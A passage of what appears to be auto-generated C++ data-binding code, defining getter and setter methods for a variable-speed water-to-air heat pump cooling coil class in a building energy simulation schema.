SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName () const { return this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName () { return this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName (const SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_type& x) { this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName (const SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_optional& x) { this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName (::std::auto_ptr< SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_type > x) { this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel () const { return this->SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel () { return this->SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel (const SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_type& x) { this->SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel (const SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_optional& x) { this->SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_ = x; } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1 () const { return this->SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1 () { return this->SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1 (const SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_type& x) { this->SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1 (const SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_optional& x) { this->SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_ = x; } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap () const { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap () { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap (const SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_type& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap (const SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_type > x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio () const { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio () { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio (const SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_type& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio (const SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_type > x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP () const { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP () { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP (const SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_type& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP (const SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_type > x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate () const { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate () { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate (const SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_type& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate (const SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_type > x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate () const { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate () { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate (const SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_type& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate (const SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_type > x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName () const { return this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName () { return this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName (const SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_type& x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName (const SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_type > x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName () const { return this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName () { return this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName (const SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_type& x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName (const SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_type > x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName () const { return this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName () { return this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName (const SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_type& x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName (const SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_type > x) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName () const { return this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName () { return this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName (const SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_type& x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName (const SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_type > x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName () const { return this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName () { return this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName (const SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_type& x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName (const SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_type > x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName () const { return this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName () { return this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName (const SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_type& x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName (const SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: 